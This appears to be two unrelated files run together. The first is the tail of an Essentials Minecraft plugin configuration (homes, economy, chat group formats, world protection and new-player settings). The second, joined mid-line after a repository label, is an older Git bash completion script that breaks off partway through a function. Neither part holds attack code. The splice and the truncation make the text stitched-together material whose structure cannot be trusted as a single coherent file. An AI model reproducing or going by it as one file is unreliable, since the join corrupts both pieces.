# Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks. # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission. # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in. login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the max walk speed, values range from 0.1 to 1.0 max-walk-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime. update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds. # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home. # You can set the default number of multiple homes using the 'default' rank below. # To remove the home limit entirely, give people 'essentials.sethome.multiple.unlimited'. # To grant different home amounts to different people, you need to define a 'home-rank' below. # Create the 'home-rank' below, and give the matching permission: essentials.sethome.multiple.<home-rank> # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: Goblin: 1 Villager: 2 Knight: 3 King: 4 Hero: 5 God: 6 # In this example someone with 'essentials.sethome.multiple' and 'essentials.sethome.multiple.vip' will have 5 homes. # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout. tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 1000 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE. # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have. # The amount is always limited to 10 trillion because of the limitations of a java double. max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command. economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help. non-ess-in-help: true # Hide plugins which do not give a permission. # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat. # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '<{DISPLAYNAME}> {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: Goblin: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Youtuber: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Witch: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Wizard: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Sorcerer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Raider: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Greifer: '&7{DISPLAYNAME}&8:&a {MESSAGE}' ChatMod: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Owner: '&7{DISPLAYNAME}&8:&c {MESSAGE}' OP: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Developer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Admin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' JuniorAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' StaffManager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' ForumAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadModerator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Moderator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Helper: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Villager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Knight: '&7{DISPLAYNAME}&8:&f {MESSAGE}' King: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Hero: '&7{DISPLAYNAME}&8:&f {MESSAGE}' God: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Legend: '&7{DISPLAYNAME}&8:&b {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # General physics/behavior modifications. prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false tnt-minecart-explosion: false tnt-minecart-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players. # permission essentials.protect.entitytarget.bypass disables this. entitytarget: false # Prevent the spawning of creatures. spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: true bat: false witch: false horse: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Disable various default physics and behaviors. disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value.) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled? projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options? weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build? # Set true to disable building for those people. # Setting to false means EssentialsAntiBuild will never prevent you from building. build: true # Should people with build: false in permissions be allowed to use items? # Set true to disable using for those people. # Setting to false means EssentialsAntiBuild will never prevent you from using items. use: true # Should we tell people they are not allowed to build? warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing? placement: 10,11,46,327 # Which items should people be prevented from using? usage: 327 # Which blocks should people be prevented from breaking? break: # Which blocks should not be pushed by pistons? piston: # Which blocks should not be dispensed by dispensers dispenser: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&cWelcome &e&l{DISPLAYNAME}&c to the &8R&7e&8t&7r&8o&4-&cFactions server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: join # Set this to lowest, if you want Multiverse to handle the respawning. # Set this to high, if you want EssentialsSpawn to handle the respawning. # Set this to highest, if you want to force EssentialsSpawn to handle the respawning. respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.
questionmark1122 / Cnn10#!bash # # bash completion support for core Git. # # Copyright (C) 2006,2007 Shawn O. Pearce <spearce@spearce.org> # Conceptually based on gitcompletion (http://gitweb.hawaga.org.uk/). # Distributed under the GNU General Public License, version 2.0. # # The contained completion routines provide support for completing: # # *) local and remote branch names # *) local and remote tag names # *) .git/remotes file names # *) git 'subcommands' # *) tree paths within 'ref:path/to/file' expressions # *) common --long-options # # To use these routines: # # 1) Copy this file to somewhere (e.g. ~/.git-completion.sh). # 2) Added the following line to your .bashrc: # source ~/.git-completion.sh # # 3) Consider changing your PS1 to also show the current branch: # PS1='[\u@\h \W$(__git_ps1 " (%s)")]\$ ' # # The argument to __git_ps1 will be displayed only if you # are currently in a git repository. The %s token will be # the name of the current branch. # # In addition, if you set GIT_PS1_SHOWDIRTYSTATE to a nonempty # value, unstaged (*) and staged (+) changes will be shown next # to the branch name. You can configure this per-repository # with the bash.showDirtyState variable, which defaults to true # once GIT_PS1_SHOWDIRTYSTATE is enabled. # # You can also see if currently something is stashed, by setting # GIT_PS1_SHOWSTASHSTATE to a nonempty value. If something is stashed, # then a '$' will be shown next to the branch name. # # If you would like to see if there're untracked files, then you can # set GIT_PS1_SHOWUNTRACKEDFILES to a nonempty value. If there're # untracked files, then a '%' will be shown next to the branch name. # # If you would like to see the difference between HEAD and its # upstream, set GIT_PS1_SHOWUPSTREAM="auto". A "<" indicates # you are behind, ">" indicates you are ahead, and "<>" # indicates you have diverged. You can further control # behaviour by setting GIT_PS1_SHOWUPSTREAM to a space-separated # list of values: # verbose show number of commits ahead/behind (+/-) upstream # legacy don't use the '--count' option available in recent # versions of git-rev-list # git always compare HEAD to @{upstream} # svn always compare HEAD to your SVN upstream # By default, __git_ps1 will compare HEAD to your SVN upstream # if it can find one, or @{upstream} otherwise. Once you have # set GIT_PS1_SHOWUPSTREAM, you can override it on a # per-repository basis by setting the bash.showUpstream config # variable. # # # To submit patches: # # *) Read Documentation/SubmittingPatches # *) Send all patches to the current maintainer: # # "Shawn O. Pearce" <spearce@spearce.org> # # *) Always CC the Git mailing list: # # git@vger.kernel.org # case "$COMP_WORDBREAKS" in *:*) : great ;; *) COMP_WORDBREAKS="$COMP_WORDBREAKS:" esac # __gitdir accepts 0 or 1 arguments (i.e., location) # returns location of .git repo __gitdir () { if [ -z "${1-}" ]; then if [ -n "${__git_dir-}" ]; then echo "$__git_dir" elif [ -d .git ]; then echo .git else git rev-parse --git-dir 2>/dev/null fi elif [ -d "$1/.git" ]; then echo "$1/.git" else echo "$1" fi } # stores the divergence from upstream in $p # used by GIT_PS1_SHOWUPSTREAM __git_ps1_show_upstream () { local key value local svn_remote=() svn_url_pattern count n local upstream=git legacy="" verbose="" # get some config options from git-config while read key value; do case "$key" in bash.showupstream) GIT_PS1_SHOWUPSTREAM="$value" if [[ -z "${GIT_PS1_SHOWUPSTREAM}" ]]; then p="" return fi ;; svn-remote.*.url) svn_remote[ $((${#svn_remote[@]} + 1)) ]="$value" svn_url_pattern+="\\|$value" upstream=svn+git # default upstream is SVN if available, else git ;; esac done < <(git config -z --get-regexp '^(svn-remote\..*\.url|bash\.showupstream)$' 2>/dev/null | tr '\0\n' '\n ') # parse configuration values for option in ${GIT_PS1_SHOWUPSTREAM}; do case "$option" in git|svn) upstream="$option" ;; verbose) verbose=1 ;; legacy) legacy=1 ;; esac done # Find our upstream case "$upstream" in git) upstream="@{upstream}" ;; svn*) # get the upstream from the "git-svn-id: ..." in a commit message # (git-svn uses essentially the same procedure internally) local svn_upstream=($(git log --first-parent -1 \ --grep="^git-svn-id: \(${svn_url_pattern:2}\)" 2>/dev/null)) if [[ 0 -ne ${#svn_upstream[@]} ]]; then svn_upstream=${svn_upstream[ ${#svn_upstream[@]} - 2 ]} svn_upstream=${svn_upstream%@*} for ((n=1; "$n" <= "${#svn_remote[@]}"; ++n)); do svn_upstream=${svn_upstream#${svn_remote[$n]}} done if [[ -z "$svn_upstream" ]]; then # default branch name for checkouts with no layout: upstream=${GIT_SVN_ID:-git-svn} else upstream=${svn_upstream#/} fi elif [[ "svn+git" = "$upstream" ]]; then upstream="@{upstream}" fi ;; esac # Find how many commits we are ahead/behind our upstream if [[ -z "$legacy" ]]; then count="$(git rev-list --count --left-right \ "$upstream"...HEAD 2>/dev/null)" else # produce equivalent output to --count for older versions of git local commits if commits="$(git rev-list --left-right "$upstream"...HEAD 2>/dev/null)" then local commit behind=0 ahead=0 for commit in $commits do case "$commit" in "<"*) let ++behind ;; *) let ++ahead ;; esac done count="$behind $ahead" else count="" fi fi # calculate the result if [[ -z "$verbose" ]]; then case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p="=" ;; "0 "*) # ahead of upstream p=">" ;; *" 0") # behind upstream p="<" ;; *) # diverged from upstream p="<>" ;; esac else case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p=" u=" ;; "0 "*) # ahead of upstream p=" u+${count#0 }" ;; *" 0") # behind upstream p=" u-${count% 0}" ;; *) # diverged from upstream p=" u+${count#* }-${count% *}" ;; esac fi } # __git_ps1 accepts 0 or 1 arguments (i.e., format string) # returns text to add to bash PS1 prompt (includes branch name) __git_ps1 () { local g="$(__gitdir)" if [ -n "$g" ]; then local r="" local b="" if [ -f "$g/rebase-merge/interactive" ]; then r="|REBASE-i" b="$(cat "$g/rebase-merge/head-name")" elif [ -d "$g/rebase-merge" ]; then r="|REBASE-m" b="$(cat "$g/rebase-merge/head-name")" else if [ -d "$g/rebase-apply" ]; then if [ -f "$g/rebase-apply/rebasing" ]; then r="|REBASE" elif [ -f "$g/rebase-apply/applying" ]; then r="|AM" else r="|AM/REBASE" fi elif [ -f "$g/MERGE_HEAD" ]; then r="|MERGING" elif [ -f "$g/BISECT_LOG" ]; then r="|BISECTING" fi b="$(git symbolic-ref HEAD 2>/dev/null)" || { b="$( case "${GIT_PS1_DESCRIBE_STYLE-}" in (contains) git describe --contains HEAD ;; (branch) git describe --contains --all HEAD ;; (describe) git describe HEAD ;; (* | default) git describe --exact-match HEAD ;; esac 2>/dev/null)" || b="$(cut -c1-7 "$g/HEAD" 2>/dev/null)..." || b="unknown" b="($b)" } fi local w="" local i="" local s="" local u="" local c="" local p="" if [ "true" = "$(git rev-parse --is-inside-git-dir 2>/dev/null)" ]; then if [ "true" = "$(git rev-parse --is-bare-repository 2>/dev/null)" ]; then c="BARE:" else b="GIT_DIR!" fi elif [ "true" = "$(git rev-parse --is-inside-work-tree 2>/dev/null)" ]; then if [ -n "${GIT_PS1_SHOWDIRTYSTATE-}" ]; then if [ "$(git config --bool bash.showDirtyState)" != "false" ]; then git diff --no-ext-diff --quiet --exit-code || w="*" if git rev-parse --quiet --verify HEAD >/dev/null; then git diff-index --cached --quiet HEAD -- || i="+" else i="#" fi fi fi if [ -n "${GIT_PS1_SHOWSTASHSTATE-}" ]; then git rev-parse --verify refs/stash >/dev/null 2>&1 && s="$" fi if [ -n "${GIT_PS1_SHOWUNTRACKEDFILES-}" ]; then if [ -n "$(git ls-files --others --exclude-standard)" ]; then u="%" fi fi if [ -n "${GIT_PS1_SHOWUPSTREAM-}" ]; then __git_ps1_show_upstream fi fi local f="$w$i$s$u" printf "${1:- (%s)}" "$c${b##refs/heads/}${f:+ $f}$r$p" fi } # __gitcomp_1 requires 2 arguments __gitcomp_1 () { local c IFS=' '$'\t'$'\n' for c in $1; do case "$c$2" in --*=*) printf %s$'\n' "$c$2" ;; *.) printf %s$'\n' "$c$2" ;; *) printf %s$'\n' "$c$2 " ;; esac done } # __gitcomp accepts 1, 2, 3, or 4 arguments # generates completion reply with compgen __gitcomp () { local cur="${COMP_WORDS[COMP_CWORD]}" if [ $# -gt 2 ]; then cur="$3" fi case "$cur" in --*=) COMPREPLY=() ;; *) local IFS=$'\n' COMPREPLY=($(compgen -P "${2-}" \ -W "$(__gitcomp_1 "${1-}" "${4-}")" \ -- "$cur")) ;; esac } # __git_heads accepts 0 or 1 arguments (to pass to __gitdir) __git_heads () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/heads return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_tags accepts 0 or 1 arguments (to pass to __gitdir) __git_tags () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/tags return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs accepts 0 or 1 arguments (to pass to __gitdir) __git_refs () { local i is_hash=y dir="$(__gitdir "${1-}")" local cur="${COMP_WORDS[COMP_CWORD]}" format refs if [ -d "$dir" ]; then case "$cur" in refs|refs/*) format="refname" refs="${cur%/*}" ;; *) for i in HEAD FETCH_HEAD ORIG_HEAD MERGE_HEAD; do if [ -e "$dir/$i" ]; then echo $i; fi done format="refname:short" refs="refs/tags refs/heads refs/remotes" ;; esac git --git-dir="$dir" for-each-ref --format="%($format)" \ $refs return fi for i in $(git ls-remote "$dir" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,refs/remotes/*) is_hash=y; echo "${i#refs/remotes/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs2 requires 1 argument (to pass to __git_refs) __git_refs2 () { local i for i in $(__git_refs "$1"); do echo "$i:$i" done } # __git_refs_remotes requires 1 argument (to pass to ls-remote) __git_refs_remotes () { local cmd i is_hash=y for i in $(git ls-remote "$1" 2>/dev/null); do case "$is_hash,$i" in n,refs/heads/*) is_hash=y echo "$i:refs/remotes/$1/${i#refs/heads/}" ;; y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y;; n,*) is_hash=y; ;; esac done } __git_remotes () { local i ngoff IFS=$'\n' d="$(__gitdir)" shopt -q nullglob || ngoff=1 shopt -s nullglob for i in "$d/remotes"/*; do echo ${i#$d/remotes/} done [ "$ngoff" ] && shopt -u nullglob for i in $(git --git-dir="$d" config --get-regexp 'remote\..*\.url' 2>/dev/null); do i="${i#remote.}" echo "${i/.url*/}" done } __git_list_merge_strategies () { git merge -s help 2>&1 | sed -n -e '/[Aa]vailable strategies are: /,/^$/{ s/\.$// s/.*:// s/^[ ]*// s/[ ]*$// p }' } __git_merge_strategies= # 'git merge -s help' (and thus detection of the merge strategy # list) fails, unfortunately, if run outside of any git working # tree. __git_merge_strategies is set to the empty string in # that case, and the detection will be repeated the next time it # is needed. __git_compute_merge_strategies () { : ${__git_merge_strategies:=$(__git_list_merge_strategies)} } __git_complete_file () { local pfx ls ref cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in ?*:*) ref="${cur%%:*}" cur="${cur#*:}" case "$cur" in ?*/*) pfx="${cur%/*}" cur="${cur##*/}" ls="$ref:$pfx" pfx="$pfx/" ;; *) ls="$ref" ;; esac case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="$ref:$pfx" ;; esac local IFS=$'\n' COMPREPLY=($(compgen -P "$pfx" \ -W "$(git --git-dir="$(__gitdir)" ls-tree "$ls" \ | sed '/^100... blob /{ s,^.* ,, s,$, , } /^120000 blob /{ s,^.* ,, s,$, , } /^040000 tree /{ s,^.* ,, s,$,/, } s/^.* //')" \ -- "$cur")) ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_revlist () { local pfx cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in *...*) pfx="${cur%...*}..." cur="${cur#*...}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *..*) pfx="${cur%..*}.." cur="${cur#*..}" __gitcomp "$(__git_refs)" "$pfx" "$cur" ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_remote_or_refspec () { local cmd="${COMP_WORDS[1]}" local cur="${COMP_WORDS[COMP_CWORD]}" local i c=2 remote="" pfx="" lhs=1 no_complete_refspec=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --mirror) [ "$cmd" = "push" ] && no_complete_refspec=1 ;; --all) case "$cmd" in push) no_complete_refspec=1 ;; fetch) COMPREPLY=() return ;; *) ;; esac ;; -*) ;; *) remote="$i"; break ;; esac c=$((++c)) done if [ -z "$remote" ]; then __gitcomp "$(__git_remotes)" return fi if [ $no_complete_refspec = 1 ]; then COMPREPLY=() return fi [ "$remote" = "." ] && remote= case "$cur" in *:*) case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="${cur%%:*}:" ;; esac cur="${cur#*:}" lhs=0 ;; +*) pfx="+" cur="${cur#+}" ;; esac case "$cmd" in fetch) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs2 "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; pull) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" else __gitcomp "$(__git_refs)" "$pfx" "$cur" fi ;; push) if [ $lhs = 1 ]; then __gitcomp "$(__git_refs)" "$pfx" "$cur" else __gitcomp "$(__git_refs "$remote")" "$pfx" "$cur" fi ;; esac } __git_complete_strategy () { __git_compute_merge_strategies case "${COMP_WORDS[COMP_CWORD-1]}" in -s|--strategy) __gitcomp "$__git_merge_strategies" return 0 esac local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --strategy=*) __gitcomp "$__git_merge_strategies" "" "${cur##--strategy=}" return 0 ;; esac return 1 } __git_list_all_commands () { local i IFS=" "$'\n' for i in $(git help -a|egrep '^ [a-zA-Z0-9]') do case $i in *--*) : helper pattern;; *) echo $i;; esac done } __git_all_commands= __git_compute_all_commands () { : ${__git_all_commands:=$(__git_list_all_commands)} } __git_list_porcelain_commands () { local i IFS=" "$'\n' __git_compute_all_commands for i in "help" $__git_all_commands do case $i in *--*) : helper pattern;; applymbox) : ask gittus;; applypatch) : ask gittus;; archimport) : import;; cat-file) : plumbing;; check-attr) : plumbing;; check-ref-format) : plumbing;; checkout-index) : plumbing;; commit-tree) : plumbing;; count-objects) : infrequent;; cvsexportcommit) : export;; cvsimport) : import;; cvsserver) : daemon;; daemon) : daemon;; diff-files) : plumbing;; diff-index) : plumbing;; diff-tree) : plumbing;; fast-import) : import;; fast-export) : export;; fsck-objects) : plumbing;; fetch-pack) : plumbing;; fmt-merge-msg) : plumbing;; for-each-ref) : plumbing;; hash-object) : plumbing;; http-*) : transport;; index-pack) : plumbing;; init-db) : deprecated;; local-fetch) : plumbing;; lost-found) : infrequent;; ls-files) : plumbing;; ls-remote) : plumbing;; ls-tree) : plumbing;; mailinfo) : plumbing;; mailsplit) : plumbing;; merge-*) : plumbing;; mktree) : plumbing;; mktag) : plumbing;; pack-objects) : plumbing;; pack-redundant) : plumbing;; pack-refs) : plumbing;; parse-remote) : plumbing;; patch-id) : plumbing;; peek-remote) : plumbing;; prune) : plumbing;; prune-packed) : plumbing;; quiltimport) : import;; read-tree) : plumbing;; receive-pack) : plumbing;; reflog) : plumbing;; remote-*) : transport;; repo-config) : deprecated;; rerere) : plumbing;; rev-list) : plumbing;; rev-parse) : plumbing;; runstatus) : plumbing;; sh-setup) : internal;; shell) : daemon;; show-ref) : plumbing;; send-pack) : plumbing;; show-index) : plumbing;; ssh-*) : transport;; stripspace) : plumbing;; symbolic-ref) : plumbing;; tar-tree) : deprecated;; unpack-file) : plumbing;; unpack-objects) : plumbing;; update-index) : plumbing;; update-ref) : plumbing;; update-server-info) : daemon;; upload-archive) : plumbing;; upload-pack) : plumbing;; write-tree) : plumbing;; var) : infrequent;; verify-pack) : infrequent;; verify-tag) : plumbing;; *) echo $i;; esac done } __git_porcelain_commands= __git_compute_porcelain_commands () { __git_compute_all_commands : ${__git_porcelain_commands:=$(__git_list_porcelain_commands)} } __git_aliases () { local i IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "alias\..*" 2>/dev/null); do case "$i" in alias.*) i="${i#alias.}" echo "${i/ */}" ;; esac done } # __git_aliased_command requires 1 argument __git_aliased_command () { local word cmdline=$(git --git-dir="$(__gitdir)" \ config --get "alias.$1") for word in $cmdline; do case "$word" in \!gitk|gitk) echo "gitk" return ;; \!*) : shell command alias ;; -*) : option ;; *=*) : setting env ;; git) : git itself ;; *) echo "$word" return esac done } # __git_find_on_cmdline requires 1 argument __git_find_on_cmdline () { local word subcommand c=1 while [ $c -lt $COMP_CWORD ]; do word="${COMP_WORDS[c]}" for subcommand in $1; do if [ "$subcommand" = "$word" ]; then echo "$subcommand" return fi done c=$((++c)) done } __git_has_doubledash () { local c=1 while [ $c -lt $COMP_CWORD ]; do if [ "--" = "${COMP_WORDS[c]}" ]; then return 0 fi c=$((++c)) done return 1 } __git_whitespacelist="nowarn warn error error-all fix" _git_am () { local cur="${COMP_WORDS[COMP_CWORD]}" dir="$(__gitdir)" if [ -d "$dir"/rebase-apply ]; then __gitcomp "--skip --continue --resolved --abort" return fi case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --3way --committer-date-is-author-date --ignore-date --ignore-whitespace --ignore-space-change --interactive --keep --no-utf8 --signoff --utf8 --whitespace= --scissors " return esac COMPREPLY=() } _git_apply () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --whitespace=*) __gitcomp "$__git_whitespacelist" "" "${cur##--whitespace=}" return ;; --*) __gitcomp " --stat --numstat --summary --check --index --cached --index-info --reverse --reject --unidiff-zero --apply --no-add --exclude= --ignore-whitespace --ignore-space-change --whitespace= --inaccurate-eof --verbose " return esac COMPREPLY=() } _git_add () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --interactive --refresh --patch --update --dry-run --ignore-errors --intent-to-add " return esac COMPREPLY=() } _git_archive () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --format=*) __gitcomp "$(git archive --list)" "" "${cur##--format=}" return ;; --remote=*) __gitcomp "$(__git_remotes)" "" "${cur##--remote=}" return ;; --*) __gitcomp " --format= --list --verbose --prefix= --remote= --exec= " return ;; esac __git_complete_file } _git_bisect () { __git_has_doubledash && return local subcommands="start bad good skip reset visualize replay log run" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in bad|good|reset|skip) __gitcomp "$(__git_refs)" ;; *) COMPREPLY=() ;; esac } _git_branch () { local i c=1 only_local_ref="n" has_r="n" while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-m) only_local_ref="y" ;; -r) has_r="y" ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --color --no-color --verbose --abbrev= --no-abbrev --track --no-track --contains --merged --no-merged --set-upstream " ;; *) if [ $only_local_ref = "y" -a $has_r = "n" ]; then __gitcomp "$(__git_heads)" else __gitcomp "$(__git_refs)" fi ;; esac } _git_bundle () { local cmd="${COMP_WORDS[2]}" case "$COMP_CWORD" in 2) __gitcomp "create list-heads verify unbundle" ;; 3) # looking for a file ;; *) case "$cmd" in create) __git_complete_revlist ;; esac ;; esac } _git_checkout () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --conflict=*) __gitcomp "diff3 merge" "" "${cur##--conflict=}" ;; --*) __gitcomp " --quiet --ours --theirs --track --no-track --merge --conflict= --orphan --patch " ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_cherry () { __gitcomp "$(__git_refs)" } _git_cherry_pick () { local 